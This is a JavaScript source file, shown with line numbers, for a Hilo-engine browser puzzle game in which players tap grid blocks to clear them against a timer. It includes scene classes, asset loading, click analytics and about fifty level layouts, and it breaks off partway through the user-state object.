number.min.js 32 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405
  1. !
  2. function() {
  3. window.onload = function() {
  4. a.init()
  5. };
  6. var a = window.Game = {
  7. width: 0,
  8. height: 0,
  9. scale: 1,
  10. asset: null,
  11. stage: null,
  12. ticker: null,
  13. state: null,
  14. score: 0,
  15. user: null,
  16. bg: null,
  17. gameRealDrawScene: null,
  18. gamebeforeDrawScene: null,
  19. gameHomeScene: null,
  20. normalScene: null,
  21. timetrialScene: null,
  22. init: function() {
  23. var b = this;
  24. b.user = user,
  25. b.asset = new a.Asset,
  26. b.initStage(),
  27. b.creatLoadScene(),
  28. b.asset.on("complete",
  29. function() {
  30. b.asset.off("complete"),
  31. b.stage.removeChild(a.loadScene),
  32. setTimeout(function() {
  33. b.asset.clearLodingIt(),
  34. b.initScenes()
  35. },
  36. 100)
  37. }.bind(b)),
  38. b.asset.load()
  39. },
  40. initStage: function() {
  41. this.width = 640,
  42. this.height = 960;
  43. var a = this;
  44. a.adaptive();
  45. var b = this.stage = new Hilo.Stage({
  46. width: this.width,
  47. height: this.height,
  48. scaleX: this.scale,
  49. scaleY: this.scale
  50. });
  51. document.body.appendChild(b.canvas),
  52. this.ticker = new Hilo.Ticker(60),
  53. this.ticker.addTick(b),
  54. this.ticker.start(),
  55. this.stage.enableDOMEvent(Hilo.event.POINTER_START, !0),
  56. this.stage.enableDOMEvent(Hilo.event.POINTER_MOVE, !0),
  57. this.stage.enableDOMEvent(Hilo.event.POINTER_END, !0)
  58. },
  59. centered: function() {
  60. var a = document.getElementById("bg");
  61. a.style.backgroundSize = "cover"
  62. },
  63. adaptive: function() {
  64. var a = this,
  65. b = window.innerWidth,
  66. c = window.innerHeight,
  67. d = b / this.width,
  68. e = c / this.height;
  69. a.scale = d > e ? e: d
  70. },
  71. initBackground: function() {
  72. {
  73. var a = this.width * this.scale;
  74. this.height * this.scale
  75. }
  76. document.body.insertBefore(Hilo.createElement("div", {
  77. id: "bg",
  78. style: {
  79. position: "absolute",
  80. background: "-webkit-gradient(linear,left top,left bottom,from(#d9f5ff),to(#d9f5ff))",
  81. width: a + "px",
  82. height: "100%"
  83. }
  84. }), this.stage.canvas),
  85. this.initShareBtn()
  86. },
  87. initScenes: function() {
  88. var b = this;
  89. b.initBackground(),
  90. b.centered(),
  91. b.gameHomeScene = new a.GameHomeScene({
  92. width: b.width,
  93. height: b.height,
  94. homeImage: b.asset.homeBtn
  95. }).addTo(b.stage),
  96. b.gameHomeScene.initBtn();
  97. //var c = b.setShareData(2);
  98. //b.weixinShare(c)
  99. },
  100. weixinShare: function() {},
  101. setShareData: function(a, b, c) {
  102. },
  103. creatNormalScene: function() {
  104. var b = this,
  105. c = a.stage;
  106. a.normalScene = new a.NormalScene({
  107. width: b.width,
  108. height: b.height,
  109. image: a.asset.normal,
  110. logo: a.asset.homeBtn
  111. }).addTo(c),
  112. a.normalScene.initBtn()
  113. },
  114. creatLevelScene: function(b) {
  115. var c = this,
  116. d = a.stage;
  117. a.levelScene = new a.LevelScene({
  118. width: c.width,
  119. height: c.height,
  120. image: a.asset.select,
  121. pageLevel: b,
  122. starImg: a.asset.star
  123. }).addTo(d),
  124. a.levelScene.initBtn()
  125. },
  126. creatLoadScene: function() {
  127. var b = this,
  128. c = a.stage;
  129. a.loadScene = new a.LoadScene({
  130. width: b.width,
  131. height: b.height,
  132. image: a.asset.controlBtn
  133. }),
  134. a.loadScene.addTo(c)
  135. },
  136. creatGraphScene: function(b) {
  137. var c = this,
  138. d = a.stage;
  139. c.currentLevel = b;
  140. var e = a.level.levelInfo[b];
  141. setTimeout(function() {
  142. a.graphScene = new a.GraphScene({
  143. width: c.width,
  144. height: 720,
  145. image: a.asset.graphGlyphs,
  146. overlayImg: a.asset.overlay,
  147. y: 100,
  148. levelInfo: e
  149. }).addTo(d),
  150. a.graphScene.initEvent()
  151. },
  152. 50)
  153. },
  154. creatTipScene: function(b, c) {
  155. var d = this,
  156. e = a.stage,
  157. f = d.currentLevel;
  158. if(b==0){
  159. dp_submitScore(f+1);
  160. }
  161. //d.setShareData(b, c, f),
  162. a.tipScene = new a.TipScene({
  163. width: d.width,
  164. height: d.height,
  165. type: b,
  166. time: c,
  167. textImg: a.asset.tipGlyphs,
  168. bgImg: a.asset.tipBg,
  169. btnImg: a.asset.tipBtn,
  170. starImg: a.asset.star,
  171. level: f + 1
  172. }).addTo(e),
  173. a.tipScene.initBtn()
  174. },
  175. gamePass: function() {
  176. var b = a.currentLevel + 1;
  177. return b >= a.level.levelInfo.length ? (this.creatTipScene(3, "0"), !1) : (a.user.setGold(a.user.gold + 1), a.normalScene.resetTime(), !0)
  178. },
  179. gameOver: function() {
  180. a.normalScene.clearTime(),
  181. a.normalScene.resetTime()
  182. },
  183. initShareBtn: function() {
  184. var a = "ontouchstart" in window,
  185. b = a ? "touchend": "mouseup";
  186. //c = document.getElementById("share");
  187. //c.addEventListener(b,
  188. //function() {
  189. // c.style.display = "none",
  190. // _czc.push(["_trackEvent", "点击", "分享遮罩层"])
  191. //})
  192. }
  193. }
  194. } (),
  195. function(a) {
  196. var b = a.LoadScene = Hilo.Class.create({
  197. Extends: Hilo.Container,
  198. constructor: function(a) {
  199. b.superclass.constructor.call(this, a),
  200. this.init(a)
  201. },
  202. init: function() {
  203. var a = this,
  204. b = a.height / 3,
  205. c = new Hilo.Text({
  206. text: "加载资源。",
  207. width: this.width,
  208. font: "30px arial",
  209. textAlign: "center",
  210. color: "#000",
  211. x: 0,
  212. y: b
  213. }),
  214. d = a.pre = new Hilo.Text({
  215. text: 0,
  216. width: this.width,
  217. font: "100px arial",
  218. textAlign: "center",
  219. color: "#000",
  220. x: 0,
  221. y: b + 40
  222. });
  223. a.addChild(c, d)
  224. },
  225. setPer: function(a) {
  226. this.pre.text = a
  227. }
  228. })
  229. } (window.Game),
  230. function(a) {
  231. a.Asset = Hilo.Class.create({
  232. Mixes: Hilo.EventMixin,
  233. queue: null,
  234. bg: null,
  235. ground: null,
  236. ready: null,
  237. over: null,
  238. numberGlyphs: null,
  239. birdAtlas: null,
  240. holdback: null,
  241. load: function() {
  242. var a = [{
  243. id: "homeBtn",
  244. src: "img/home.png"
  245. },
  246. {
  247. id: "tipBtn",
  248. src: "img/tip-btn.png"
  249. },
  250. {
  251. id: "tipBg",
  252. src: "img/tip-bg.png"
  253. },
  254. {
  255. id: "tipText",
  256. src: "img/tip-text.png"
  257. },
  258. {
  259. id: "normal",
  260. src: "img/normal.png"
  261. },
  262. {
  263. id: "graph",
  264. src: "img/graph.png"
  265. },
  266. {
  267. id: "star",
  268. src: "img/star.png"
  269. },
  270. {
  271. id: "select",
  272. src: "img/select.png"
  273. },
  274. {
  275. id: "overlay",
  276. src: "img/overlay.png"
  277. }];
  278. this.queue = new Hilo.LoadQueue,
  279. this.queue.add(a),
  280. this.queue.on("complete", this.onComplete.bind(this)),
  281. this.queue.start(),
  282. this.initLoding()
  283. },
  284. initLoding: function() {
  285. var b = this,
  286. c = b.queue;
  287. this.loadIt = setInterval(function() {
  288. var b = c.getLoaded(),
  289. d = c.getTotal();
  290. per = Math.floor(b / d * 100) + "%",
  291. a.loadScene.setPer(per)
  292. },
  293. 5)
  294. },
  295. clearLodingIt: function() {
  296. clearInterval(this.loadIt)
  297. },
  298. onComplete: function() {
  299. this.tipBtn = this.queue.get("tipBtn").content,
  300. this.homeBtn = this.queue.get("homeBtn").content,
  301. this.tipBg = this.queue.get("tipBg").content,
  302. this.select = this.queue.get("select").content,
  303. this.overlay = this.queue.get("overlay").content,
  304. this.normal = this.queue.get("normal").content,
  305. this.star = this.queue.get("star").content;
  306. var a = this.queue.get("graph").content,
  307. b = this.queue.get("tipText").content;
  308. this.tipGlyphs = {
  309. image: b,
  310. rect: [[0, 0, 479, 131], [0, 131, 479, 131], [0, 262, 479, 131], [0, 393, 479, 131], [0, 524, 479, 131]]
  311. },
  312. this.graphGlyphs = {
  313. image: a,
  314. rect: [[0, 0, 144, 145], [154, 0, 144, 145], [303, 0, 144, 145], [0, 153, 144, 145], [154, 153, 144, 145], [303, 153, 144, 145]]
  315. },
  316. this.queue.off("complete"),
  317. this.fire("complete")
  318. }
  319. })
  320. } (window.Game),
  321. function(a) {
  322. var b = a.GraphScene = Hilo.Class.create({
  323. Extends: Hilo.Container,
  324. constructor: function(a) {
  325. b.superclass.constructor.call(this, a),
  326. this.properties = a,
  327. this.initData(),
  328. this.init(a)
  329. },
  330. initData: function() {
  331. this.pointW = 48,
  332. this.topG = 80,
  333. this.marl = 0,
  334. this.row = 0,
  335. this.pWidth = 70,
  336. this.pHeight = 64,
  337. this.blockG = 5,
  338. this.ableColor = "#414676",
  339. this.disabledColor = "#a2a3a6",
  340. this.textColor = "#ffcc00",
  341. this.disTextColor = "#eee",
  342. this.pointList = []
  343. },
  344. init: function(a) {
  345. var b = this,
  346. c = b.levelInfo = a.levelInfo,
  347. d = c.graph;
  348. d = JSON.stringify(d),
  349. b.graph = JSON.parse(d); {
  350. var e = b.blockWidth = c.blockWidth,
  351. f = b.graph[0].length,
  352. g = f - 1;
  353. b.marl = Math.floor((b.width - e * f - b.blockG * g) / 2)
  354. }
  355. b.topG = Math.floor((b.height - b.graph.length * (e + b.blockG)) / 2),
  356. b.drawGraph(!0)
  357. },
  358. drawGraph: function(a) {
  359. var b = this,
  360. c = b.blockWidth,
  361. d = b.graph,
  362. e = b.marl;
  363. b.removeAllChildren();
  364. for (var f = 0; f < d.length; f++) for (var g = 0; g < d[f].length; g++) {
  365. var h = d[f][g],
  366. i = new Hilo.Bitmap({
  367. id: "logo",
  368. image: b.properties.image.image,
  369. rect: b.properties.image.rect[h],
  370. width: c,
  371. height: c,
  372. x: g * (c + b.blockG) + e,
  373. y: f * (c + b.blockG) + b.topG
  374. }).addTo(this);
  375. if (i.i = f, i.j = g, b.pointList.push(i), b.addChild(i), !a && h) {
  376. var j = new Hilo.Bitmap({
  377. image: b.properties.overlayImg,
  378. rect: [0, 0, 144, 145],
  379. width: c,
  380. height: c,
  381. x: g * (c + b.blockG) + e,
  382. y: f * (c + b.blockG) + b.topG
  383. }).addTo(this);
  384. b.addChild(j)
  385. }
  386. }
  387. },
  388. initEvent: function() {
  389. for (var b = this,
  390. c = b.graph,
  391. d = 0; d < b.pointList.length; d++) b.pointList[d].on(Hilo.event.POINTER_END,
  392. function(a) {
  393. a._stopped = !0;
  394. var d = {
  395. i: this.i,
  396. j: this.j
  397. };
  398. c[this.i][this.j] && b.eliminateBlock(d)
  399. });
  400. a.normalScene.isNew()
  401. },
  402. eliminateBlock: function(b) {
  403. var c = this,
  404. d = c.graph,
  405. e = d.length - 1,
  406. f = d[0].length - 1,
  407. g = b.i,
  408. h = b.j;
  409. if (d[g][h] = d[g][h] - 1, g > 0) {
  410. var i = d[g - 1][h];
  411. d[g - 1][h] = 0 == i ? 0 : i - 1
  412. }
  413. if (e > g) {
  414. var i = d[g + 1][h];
  415. d[g + 1][h] = 0 == i ? 0 : i - 1
  416. }
  417. if (h > 0) {
  418. var i = d[g][h - 1];
  419. d[g][h - 1] = 0 == i ? 0 : i - 1
  420. }
  421. if (f > h) {
  422. var i = d[g][h + 1];
  423. d[g][h + 1] = 0 == i ? 0 : i - 1
  424. }
  425. var j = c.getGamestate();
  426. if (j.gameOver) {
  427. if (c.drawGraph(!1), j.finish) {
  428. var k = a.normalScene.timeCount - a.normalScene.count;
  429. setTimeout(function() {
  430. a.gameOver(),
  431. a.creatTipScene(0, k)
  432. },
  433. 100)
  434. }
  435. } else c.drawGraph(!0),
  436. setTimeout(function() {
  437. c.initEvent()
  438. },
  439. 200)
  440. },
  441. getGamestate: function() {
  442. for (var a = this,
  443. b = a.graph,
  444. c = b.length - 1,
  445. d = b[0].length - 1, e = !1, f = !1, g = !1, h = !1, i = !1, j = 0; j < b.length; j++) for (var k = 0; k < b[j].length; k++) if (b[j][k] && (i = !0, e = 0 == j ? !1 : b[j - 1][k] ? !0 : !1, f = 0 == k ? !1 : b[j][k - 1] ? !0 : !1, g = k == d ? !1 : b[j][k + 1] ? !0 : !1, h = j == c ? !1 : b[j + 1][k] ? !0 : !1, !(e || f || g || h))) return {
  446. gameOver: !0,
  447. finish: !1
  448. };
  449. return i ? {
  450. gameOver: !1,
  451. finish: !1
  452. }: {
  453. gameOver: !0,
  454. finish: !0
  455. }
  456. }
  457. })
  458. } (window.Game),
  459. function(a) {
  460. var b = a.NormalScene = Hilo.Class.create({
  461. Extends: Hilo.Container,
  462. btnGx: 30,
  463. btnGy: 15,
  464. wBtn: 125,
  465. hBtn: 94,
  466. topG: 15,
  467. timeL: 380,
  468. numW: 30,
  469. numH: 91,
  470. count: 10,
  471. constructor: function(a) {
  472. b.superclass.constructor.call(this, a),
  473. this.properties = a,
  474. this.init(a)
  475. },
  476. init: function(a) {
  477. var b = this,
  478. c = b.height - b.hBtn - b.btnGy,
  479. d = 2 * b.btnGx,
  480. e = b.width - b.wBtn - 2 * b.btnGx,
  481. f = this.backBtn = new Hilo.Bitmap({
  482. id: "backBtn",
  483. image: a.image,
  484. rect: [0, 0, b.wBtn, b.hBtn],
  485. x: d,
  486. y: c
  487. }),
  488. g = this.resetBtn = new Hilo.Bitmap({
  489. id: "resetBtn",
  490. image: a.image,
  491. rect: [295, 0, b.wBtn, b.hBtn],
  492. x: e,
  493. y: c
  494. }),
  495. h = this.stopBtn = new Hilo.Bitmap({
  496. id: "stopBtn",
  497. image: b.properties.image,
  498. rect: [126, 0, 168, b.hBtn],
  499. x: 242,
  500. y: c
  501. }),
  502. i = new Hilo.Bitmap({
  503. id: "logo",
  504. image: b.properties.logo,
  505. rect: [0, 0, 429, 118],
  506. x: 55,
  507. y: b.topG,
  508. scaleX: .5,
  509. scaleY: .5
  510. }).addTo(this);
  511. b.addChild(i, f, g, h),
  512. b.initTime()
  513. },
  514. isNew: function() {
  515. var b = this,
  516. c = a.user.getUserLocation();
  517. c || (b.clearTime(), a.creatTipScene(4, "0"))
  518. },
  519. initBtn: function() {
  520. var b = this,
  521. c = a.stage;
  522. this.backBtn.on(Hilo.event.POINTER_START,
  523. function(d) {
  524. d._stopped = !0,
  525. b.visible = !1,
  526. c.removeChild(b),
  527. c.removeChild(a.graphScene),
  528. a.gameOver(),
  529. a.creatLevelScene(0),
  530. _czc.push(["_trackEvent", "点击", "返回按钮"])
  531. }.bind(this)),
  532. this.resetBtn.on(Hilo.event.POINTER_START,
  533. function(b) {
  534. b._stopped = !0,
  535. c.removeChild(a.graphScene),
  536. a.creatGraphScene(a.currentLevel),
  537. _czc.push(["_trackEvent", "点击", "刷新按钮"])
  538. }.bind(this)),
  539. b.stopBtn.on(Hilo.event.POINTER_START,
  540. function(b) {
  541. b._stopped = !0,
  542. a.normalScene.clearTime(),
  543. a.creatTipScene(2, "0"),
  544. _czc.push(["_trackEvent", "点击", "暂停按钮"])
  545. }.bind(this))
  546. },
  547. initTime: function() {
  548. var a = this;
  549. a.resetTime(),
  550. a.renderTime(),
  551. a.setTimeInterval()
  552. },
  553. setTimeInterval: function() {
  554. var a = this;
  555. a.it = setInterval(function() {
  556. a.clacTime()
  557. },
  558. 1e3)
  559. },
  560. clearTime: function() {
  561. var a = this;
  562. clearInterval(a.it)
  563. },
  564. resetTime: function() {
  565. var b = this,
  566. c = a.currentLevel,
  567. d = a.level.initTime,
  568. e = a.level.timeGap,
  569. f = d + e * c;
  570. b.count = f,
  571. b.timeCount = f
  572. },
  573. renderTime: function() {
  574. var a = this,
  575. b = (a.topG, a.second = new Hilo.Text({
  576. text: "剩余时间",
  577. font: "36px arial",
  578. textAlign: "left",
  579. color: "#399abe",
  580. x: 10,
  581. y: 10
  582. })),
  583. c = a.second = new Hilo.Text({
  584. text: a.count,
  585. font: "36px arial",
  586. textAlign: "left",
  587. color: "#e54689",
  588. x: 170,
  589. y: 10
  590. }),
  591. d = new Hilo.Container({
  592. id: "timeContainer",
  593. width: 230,
  594. height: 60,
  595. x: a.timeL,
  596. y: a.topG,
  597. children: [b, c]
  598. });
  599. d.setBgFill("#b1eaff"),
  600. a.addChild(d),
  601. a.clacTime()
  602. },
  603. clacTime: function() {
  604. var b = this,
  605. c = this.count;
  606. b.second.text = c,
  607. this.count--,
  608. this.count < 0 && (a.gameOver(), a.creatTipScene(1, "0"))
  609. },
  610. renderGold: function() {
  611. var b = this,
  612. c = this.star = new Hilo.Bitmap({
  613. id: "star",
  614. image: b.properties.image,
  615. rect: [85, 8, 65, 65],
  616. x: 0,
  617. y: 0
  618. }),
  619. d = b.gold = new Hilo.Text({
  620. id: "gold",
  621. text: a.user.gold,
  622. font: "50px arial",
  623. textAlign: "left",
  624. color: "#ffcc00",
  625. x: 70,
  626. y: 10
  627. }),
  628. e = new Hilo.Container({
  629. id: "timeContainer",
  630. width: 125,
  631. height: 85,
  632. x: 450,
  633. y: b.topG,
  634. children: [c, d]
  635. });
  636. b.addChild(e)
  637. },
  638. setGoldText: function() {
  639. var b = this;
  640. b.gold.text = a.user.gold
  641. }
  642. })
  643. } (window.Game),
  644. function(a) {
  645. var b = a.GameHomeScene = Hilo.Class.create({
  646. Extends: Hilo.Container,
  647. btnW: 390,
  648. btnH: 98,
  649. logoH: 426,
  650. logoW: 330,
  651. constructor: function(a) {
  652. b.superclass.constructor.call(this, a),
  653. this.init(a)
  654. },
  655. init: function(a) {
  656. new Hilo.Bitmap({
  657. id: "logo",
  658. image: a.homeImage,
  659. rect: [0, 0, 429, 118],
  660. x: 115,
  661. y: 170
  662. }).addTo(this),
  663. this.startBtn = new Hilo.Bitmap({
  664. id: "startBtn",
  665. image: a.homeImage,
  666. rect: [0, 127, 370, 127],
  667. x: 136,
  668. y: 528
  669. }).addTo(this),
  670. this.levelBtn = new Hilo.Bitmap({
  671. id: "startBtn",
  672. image: a.homeImage,
  673. rect: [0, 257, 365, 122],
  674. x: 136,
  675. y: 664
  676. }).addTo(this)
  677. },
  678. initBtn: function() {
  679. {
  680. var b = this;
  681. a.stage
  682. }
  683. b.startBtn.on(Hilo.event.POINTER_END,
  684. function(c) {
  685. c._stopped = !0,
  686. a.creatGraphScene(a.user.level),
  687. a.creatNormalScene(),
  688. b.visible = !1,
  689. document.getElementById("moregame").style.display = "none",
  690. _czc.push(["_trackEvent", "点击", "开始游戏按钮"])
  691. }.bind(b)),
  692. b.levelBtn.on(Hilo.event.POINTER_END,
  693. function(c) {
  694. c._stopped = !0,
  695. a.creatLevelScene(0),
  696. b.visible = !1,
  697. document.getElementById("moregame").style.display = "none",
  698. _czc.push(["_trackEvent", "点击", "关卡选择按钮"])
  699. }.bind(b))
  700. }
  701. })
  702. } (window.Game),
  703. function(a) {
  704. a.level = {
  705. initTime: 10,
  706. timeGap: 2,
  707. setStarList: function(a) {
  708. for (var b = this,
  709. c = 0; c < a.length; c++) b.levelInfo[c].star = a[c]
  710. },
  711. setStar: function(b, c) {
  712. this.levelInfo[b].star = c,
  713. a.user.setStarLocation(b, c)
  714. },
  715. levelInfo: [{
  716. blockWidth: 150,
  717. star: 0,
  718. graph: [[1, 1]]
  719. },
  720. {
  721. blockWidth: 150,
  722. star: 0,
  723. graph: [[1, 1, 1]]
  724. },
  725. {
  726. blockWidth: 150,
  727. star: 0,
  728. graph: [[1, 1, 1, 1]]
  729. },
  730. {
  731. blockWidth: 150,
  732. star: 0,
  733. graph: [[0, 1, 0], [1, 2, 1], [0, 1, 0]]
  734. },
  735. {
  736. blockWidth: 150,
  737. star: 0,
  738. graph: [[0, 1, 0], [2, 2, 1], [0, 1, 0]]
  739. },
  740. {
  741. blockWidth: 150,
  742. star: 0,
  743. graph: [[0, 1, 2], [1, 0, 1], [2, 1, 0]]
  744. },
  745. {
  746. blockWidth: 150,
  747. star: 0,
  748. graph: [[0, 1, 0], [2, 4, 2], [0, 1, 0]]
  749. },
  750. {
  751. blockWidth: 150,
  752. star: 0,
  753. graph: [[1, 0, 1], [2, 1, 2]]
  754. },
  755. {
  756. blockWidth: 150,
  757. star: 0,
  758. graph: [[0, 2, 0], [1, 2, 1], [0, 2, 0]]
  759. },
  760. {
  761. blockWidth: 150,
  762. star: 0,
  763. graph: [[1, 1, 1], [1, 0, 1], [1, 1, 1]]
  764. },
  765. {
  766. blockWidth: 120,
  767. star: 0,
  768. graph: [[1, 0, 0, 0, 1], [2, 1, 0, 1, 2], [1, 0, 0, 0, 1]]
  769. },
  770. {
  771. blockWidth: 120,
  772. star: 0,
  773. graph: [[0, 1, 0, 0, 0], [1, 1, 1, 1, 1], [0, 0, 0, 1, 0]]
  774. },
  775. {
  776. blockWidth: 150,
  777. star: 0,
  778. graph: [[0, 1, 1], [2, 1, 2], [1, 1, 0]]
  779. },
  780. {
  781. blockWidth: 120,
  782. star: 0,
  783. graph: [[0, 0, 1, 0, 0], [0, 0, 2, 0, 0], [1, 2, 3, 2, 1], [0, 0, 2, 0, 0], [0, 0, 1, 0, 0]]
  784. },
  785. {
  786. blockWidth: 120,
  787. star: 0,
  788. graph: [[1, 0, 0, 0, 1], [2, 1, 2, 1, 2], [1, 0, 0, 0, 1]]
  789. },
  790. {
  791. blockWidth: 120,
  792. star: 0,
  793. graph: [[0, 0, 0, 0, 1], [0, 0, 2, 1, 1], [0, 0, 3, 0, 0], [1, 1, 2, 0, 0], [1, 0, 0, 0, 0]]
  794. },
  795. {
  796. blockWidth: 120,
  797. star: 0,
  798. graph: [[1, 3, 0, 1, 1], [1, 2, 0, 2, 1], [0, 0, 0, 0, 0], [1, 2, 0, 2, 1], [1, 1, 0, 3, 1]]
  799. },
  800. {
  801. blockWidth: 120,
  802. star: 0,
  803. graph: [[0, 0, 1, 0, 0], [0, 1, 2, 1, 0], [1, 1, 3, 1, 1], [0, 1, 2, 1, 0], [0, 0, 1, 0, 0]]
  804. },
  805. {
  806. blockWidth: 150,
  807. star: 0,
  808. graph: [[1, 1, 1], [1, 2, 1], [1, 1, 1]]
  809. },
  810. {
  811. blockWidth: 150,
  812. star: 0,
  813. graph: [[1, 1, 2], [1, 3, 1], [2, 1, 1]]
  814. },
  815. {
  816. blockWidth: 150,
  817. star: 0,
  818. graph: [[1, 2, 3], [1, 2, 2], [1, 1, 1]]
  819. },
  820. {
  821. blockWidth: 150,
  822. star: 0,
  823. graph: [[1, 2, 2], [1, 2, 1], [2, 2, 1]]
  824. },
  825. {
  826. blockWidth: 150,
  827. star: 0,
  828. graph: [[2, 1, 2], [1, 2, 1], [2, 1, 2]]
  829. },
  830. {
  831. blockWidth: 150,
  832. star: 0,
  833. graph: [[1, 2, 1], [2, 1, 2], [1, 2, 1]]
  834. },
  835. {
  836. blockWidth: 150,
  837. star: 0,
  838. graph: [[1, 3, 2], [1, 1, 2], [1, 1, 1]]
  839. },
  840. {
  841. blockWidth: 150,
  842. star: 0,
  843. graph: [[1, 2, 2], [2, 3, 2], [1, 2, 1]]
  844. },
  845. {
  846. blockWidth: 150,
  847. star: 0,
  848. graph: [[2, 1, 2], [2, 4, 1], [3, 2, 2]]
  849. },
  850. {
  851. blockWidth: 150,
  852. star: 0,
  853. graph: [[1, 1, 1], [3, 3, 3], [1, 1, 1]]
  854. },
  855. {
  856. blockWidth: 150,
  857. star: 0,
  858. graph: [[2, 1, 2], [2, 1, 2], [2, 1, 2]]
  859. },
  860. {
  861. blockWidth: 150,
  862. star: 0,
  863. graph: [[3, 2, 1], [2, 1, 2], [1, 2, 3]]
  864. },
  865. {
  866. blockWidth: 150,
  867. star: 0,
  868. graph: [[3, 1, 3], [2, 2, 2], [3, 1, 3]]
  869. },
  870. {
  871. blockWidth: 150,
  872. star: 0,
  873. graph: [[1, 2, 1], [2, 4, 2], [1, 2, 1]]
  874. },
  875. {
  876. blockWidth: 150,
  877. star: 0,
  878. graph: [[1, 3, 3], [2, 1, 3], [1, 1, 1]]
  879. },
  880. {
  881. blockWidth: 150,
  882. star: 0,
  883. graph: [[1, 1, 1], [3, 2, 2], [3, 4, 3]]
  884. },
  885. {
  886. blockWidth: 150,
  887. star: 0,
  888. graph: [[2, 1, 2], [1, 4, 2], [2, 2, 3]]
  889. },
  890. {
  891. blockWidth: 150,
  892. star: 0,
  893. graph: [[5, 3, 2], [3, 4, 1], [2, 1, 1]]
  894. },
  895. {
  896. blockWidth: 150,
  897. star: 0,
  898. graph: [[3, 2, 2], [2, 5, 1], [3, 2, 3]]
  899. },
  900. {
  901. blockWidth: 150,
  902. star: 0,
  903. graph: [[2, 2, 2], [2, 3, 2], [2, 2, 2]]
  904. },
  905. {
  906. blockWidth: 150,
  907. star: 0,
  908. graph: [[2, 2, 2], [4, 1, 4], [2, 2, 2]]
  909. },
  910. {
  911. blockWidth: 150,
  912. star: 0,
  913. graph: [[1, 2, 4], [2, 3, 2], [4, 2, 1]]
  914. },
  915. {
  916. blockWidth: 150,
  917. star: 0,
  918. graph: [[1, 2, 1], [3, 4, 2], [5, 3, 1]]
  919. },
  920. {
  921. blockWidth: 150,
  922. star: 0,
  923. graph: [[3, 5, 3], [2, 2, 2], [3, 5, 3]]
  924. },
  925. {
  926. blockWidth: 150,
  927. star: 0,
  928. graph: [[1, 1, 1, 1], [1, 2, 2, 1], [1, 2, 2, 1], [1, 1, 1, 1]]
  929. },
  930. {
  931. blockWidth: 150,
  932. star: 0,
  933. graph: [[1, 1, 1, 2], [1, 1, 2, 1], [1, 2, 1, 1], [2, 1, 1, 1]]
  934. },
  935. {
  936. blockWidth: 150,
  937. star: 0,
  938. graph: [[1, 2, 1, 2], [1, 2, 1, 2], [2, 1, 2, 1], [2, 1, 2, 1]]
  939. },
  940. {
  941. blockWidth: 150,
  942. star: 0,
  943. graph: [[2, 2, 2, 2], [1, 3, 2, 1], [3, 1, 1, 2], [1, 2, 1, 1]]
  944. },
  945. {
  946. blockWidth: 150,
  947. star: 0,
  948. graph: [[2, 1, 3, 2], [1, 2, 1, 2], [1, 2, 1, 2], [1, 1, 3, 1]]
  949. },
  950. {
  951. blockWidth: 150,
  952. star: 0,
  953. graph: [[1, 3, 1, 1], [4, 1, 2, 1], [2, 3, 2, 1], [2, 1, 1, 2]]
  954. },
  955. {
  956. blockWidth: 150,
  957. star: 0,
  958. graph: [[2, 3, 2, 1], [2, 2, 2, 1], [1, 2, 1, 2], [1, 1, 2, 1]]
  959. },
  960. {
  961. blockWidth: 150,
  962. star: 0,
  963. graph: [[1, 2, 2, 1], [2, 2, 3, 2], [1, 2, 2, 2], [1, 1, 2, 1]]
  964. }]
  965. }
  966. } (window.Game),
  967. function(a) {
  968. a.user = {
  969. gold: 0,
  970. bestLevel: 2,
  971. level: 0,
  972. setLevel: function(a) {
  973. this.level = a
  974. },
  975. setBestLevel: function(a) {
  976. this.bestLevel = a
  977. },
  978. getLevel: function() {
  979. return this.level
  980. },
  981. setGold: function(a) {
  982. this.gold = a
  983. },
